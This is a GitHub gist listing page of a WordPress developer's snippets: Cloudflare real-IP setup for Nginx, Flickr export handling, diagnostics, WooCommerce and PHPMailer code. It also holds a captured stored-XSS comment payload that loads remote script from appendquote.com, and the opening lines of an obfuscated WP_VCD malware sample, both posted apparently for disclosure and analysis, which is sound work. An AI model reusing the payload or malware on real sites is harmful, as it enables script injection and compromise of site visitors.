Skip to content

Instantly share code, notes, and snippets.

View nczz's full-sized avatar
🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。

一介資男 nczz

🇹🇼
寫 code 不一定會幫你賺到錢,但會寫 code 能生活的有意思點。
View GitHub Profile
@nczz
nczz / wordpress-hack-comment.txt
Created March 1, 2020 08:49
WordPress 留言注入攻擊手法
[<a href="http://" title="]" rel="nofollow"></a>[" <!-- style=font-size:99px;top:50px;position:relative; onmouseover="script=document.createElement('script');script.src='http://appendquote.com/js/js.php';script.type='text/javascript';document.body.appendChild(script);"&gt;1 -->Because Internet usage, and news consumption in general, typically drop over the weekend, when someone puts out news that they hope few people will notice, they usually announce it Friday late afternoon or evening.<a></a>]
@nczz
nczz / nginx_get_real_ip_from_cloudflare.sh
Created February 20, 2020 14:06
Nginx 取回 Cloudflare 代理後的瀏覽者真實 IP(搭配 http_realip_module 模組) Ref: https://virtubox.github.io/nginx-cloudflare-real-ip/
#!/bin/bash
if [ -z "$(command -v curl)" ]; then
echo "####################################"
echo "Installing CURL"
echo "####################################"
apt-get update
apt-get install curl -y
fi
CURL_BIN=$(command -v curl)
@nczz
nczz / img_src_replace.php
Created February 20, 2020 13:38
抽圖片出來處理的方法 HTTP -> HTTPS
<?php
//抽圖片出來處理 HTTP -> HTTPS
@$dom->loadHTML(mb_convert_encoding($content, 'HTML-ENTITIES', 'UTF-8'), LIBXML_HTML_NOIMPLIED | LIBXML_HTML_NODEFDTD);
$images = $dom->getElementsByTagName('img');
foreach ($images as $image) {
$image->removeAttribute('alt');
$image->removeAttribute('width');
$image->removeAttribute('height');
$image->removeAttribute('title');
$image->removeAttribute('original');
@nczz
nczz / flickr.php
Created February 11, 2020 14:48
[Flickr] 請求 Flickr 全部資料與本機還原的做法
<?php
/**
* 作者: Chun
* 說明: 此程式使用於請求( https://www.flickr.com/account )下載完整的 Flickr 檔案,整理照片檔案。
* 使用方法: 將所有檔案解壓縮至 Flickr 資料夾後,將此程式放於 Flickr 上一層。
* 執行程式指令: php -f flickr.php (將此段程式儲存並命名為 flickr.php)
**/
function filename_safe($name) {
$except = array('\\', '/', ':', '*', '?', '"', '<', '>', '|', ' ');
@nczz
nczz / mxp_wp_diagnostic_info.php
Created January 29, 2020 15:27
[WordPress] 輸出系統診斷資訊的方法
<?php
function mxp_wp_diagnostic_info() {
global $table_prefix;
global $wpdb;
/*
* WordPress & Server Environment
*/
$output = 'site_url: ';
@nczz
nczz / mxp_get_post_edit_log.php
Created January 1, 2020 17:13
[WordPress] 客製化紀錄網站內容版本修訂的做法 https://www.mxp.tw/8784/
<?php
function mxp_get_post_edit_log($new_status, $old_status, $post) {
if ($post->post_type != "page") {
return;
}
//取得編修人
$current_user = wp_get_current_user();
//組合紀錄格式
$sp_line = "-.-.-.-.-.-.-.-.-.-.-.-";
@nczz
nczz / gist:dad560c10c3b36ffba763e399129ce6f
Last active November 28, 2019 13:29 — forked from pitch-gist/gist:2999707
HTML: Simple Maintenance Page 維護頁面範本
<!doctype html>
<title>Site Maintenance</title>
<style>
body { text-align: center; padding: 150px; }
h1 { font-size: 50px; }
body { font: 20px Helvetica, sans-serif; color: #333; }
article { display: block; text-align: left; width: 650px; margin: 0 auto; }
a { color: #dc8100; text-decoration: none; }
a:hover { color: #333; text-decoration: none; }
</style>
@nczz
nczz / class.plugin-modules.php
Last active October 22, 2019 11:19
WP_VCD SAMPLE CODE 盜版軟體夾藏的病毒碼 | [WordPress] WP_VCD 盜版軟體病毒解析 > https://www.mxp.tw/8714/
<?php
//install_code1
error_reporting(0);
ini_set('display_errors', 0);
//dhSEFLYVdZZ0tHbHpjMlYwS0NSZlVrVlJW
DEFINE('MAX_LEVEL', 2);
//bGF5X2Vycm9ycycsIDApOwovLzJoa
DEFINE('MAX_ITERATION', 50);
//NuYm1WM1pHOXRZV2x1SjEwcEt
@nczz
nczz / mxp_checkout_fields_modify_base_on_shipping_method.php
Created September 3, 2019 18:36
[WooCommerce] 根據選擇運送方式修改結帳欄位的方法 https://www.mxp.tw/8640/
<?php
function mxp_hidden_checkout_fields_base_on_shipping_method($value) {
// 判斷當前選擇到的運送方式
$chosen_methods = WC()->session->get('chosen_shipping_methods');
$chosen_shipping = current(explode(':', $chosen_methods[0]));
if ($chosen_shipping == 'local_pickup') {
$fields = WC()->checkout->get_checkout_fields('billing');
$html = "";
foreach ($fields as $key => $field) {
$field['return'] = true;
@nczz
nczz / google_gmail_api_with_phpmailer.php
Last active August 26, 2019 15:58
使用 PHPMailer 解決輸出 MIME 格式的問題 https://www.mxp.tw/8635/
<?php
$service = new Google_Service_Gmail($client);
try {
$mail = new PHPMailer();
$mail->CharSet = "UTF-8";
$mail->From = "發信端信箱";
$mail->FromName = "發信端別名";
$mail->AddAddress("收信端信箱", "收信端別名");
$mail->AddReplyTo("回信端信箱", "回信端別名");
$mail->Subject = "信件主題";